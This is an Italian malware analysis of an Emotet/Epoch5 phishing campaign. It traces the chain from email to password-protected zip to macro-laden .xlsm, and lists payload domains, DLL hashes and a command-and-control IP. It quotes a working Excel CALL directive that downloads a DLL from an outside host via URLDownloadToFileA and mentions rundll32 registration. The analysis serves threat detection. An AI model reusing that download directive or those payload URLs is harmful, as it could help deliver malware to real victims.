Emotet & Epoch5. Analisi malware

Preambolo

La prima versione di Emotet risale al 2014. Il trojan era originariamente progettato come un malware bancario con lo scopo di intrufolarsi nei sistemi della vittima e rubare informazioni sensibili.

Emotet ha avuto il suo periodo d’oro fra il 2018 e il 2019 fino all’inizio del 2020 dove, anche grazie a un kill switch in grado di tenerlo a bada, è andato in “pausa”. Negli ultimi periodi però è tornato a far parlare di se, grazie anche alla sua costante evoluzione nelle tecniche di attacco.

Il metodo classico di propagazione del malware è tramite posta elettronica, come nel caso che andrò a spiegare.

L’evento

Come detto poc’anzi è arrivata alla casella di posta del destinatario una mail dall’aspetto credibile, la quale riprendeva un vecchio thread di posta che il destinatario ha avuto con in precedenza col mittente. La mail riportava le medesime informazioni che ormai siamo abituati a trovare, cioè un messaggio breve ed imperativo che sollecitava il destinatario a controllare l’allegato: un file .zip, protetto da password, presente nel corpo della mail.
Il percorso è il solito quindi: email -> .zip -> .xlsm

Allegato .xlsm

A differenza del precedente articolo dove mi sono soffermato molto sulla parte di debugging della macro Office, questa volta ho optato per un approccio più veloce, anche per rendere più gradevole (spero) la lettura.

Il metodo di offuscamento della macro non varia particolarmente dai casi già ampiamente documentati online: una volta eseguita, questa crea dinamicamente dei nuovi sheet al documento e posiziona in celle quota parte del codice mediante un algoritmo che lega chiavi a valori. Questi valori vengono poi concatenati, decodificati ed eseguiti.

Il primo stage è quindi quello del download di cinque DLL da domini diversi mediante la direttiva di esempio

=CALL("urlmon", "URLDownloadToFileA", "JCCB", 0, "https://torostripinginc.com/old/V6BBS9ai/", "..\A1e.dll")

i cinque domini rilevati

https://torostripinginc.com/old/V6BBS9ai/
https://geologyadventures.com/error/vEsebODbHUw/
https://dev.woodiewin.com/wp-admin/Humbse55L82p72PIbbA/
https://firebirdtaclub.com/_borders/TMFaFAVVxivebh/
https://xxden.online/wp-content/ge6YV52pidqe/ (OFFLINE)

e la successiva registrazione dei file appena scaricati mediante rundll32.

Tips

Come già riportato su twitter qualche tempo fa, rinominando il file .xlsm in .zip, permette la lettura di tutta la struttura del file.

Img. 1

Nel caso analizzato i siti dai quali la macro sarebbe dovuta andare a scaricare i suoi payload sono in chiaro, pertanto è stato possibile risalire direttamente ai file senza per forza eseguire il debug della macro.

DLLs

Le DLL reperite sono quattro, tutte della stessa dimensione ma con hash differenti

Img. 2 – L’elenco delle DLL scaricate
A1e.dll                 MD5: 9ba1165607b286f4dc4136e0d46d17d4
bvNEB2.dll              MD5: b0ded7f6de0a905b6615ae502f4a5285
PTCvNg9wUVRq.dll        MD5: 22824d54f634f64d60892da103e98b65
ruo10vxAyAkR4MCIcwR.dll MD5: aee07a5828b4e81f06bfb86ceb5f3fe6

DLL sandboxing

Terminato il processo di registrazione il sistema esegue immediatamente una chiamata verso l’IP 185.184.25.78:8080, IP Turco già noto come C2.

Rispondi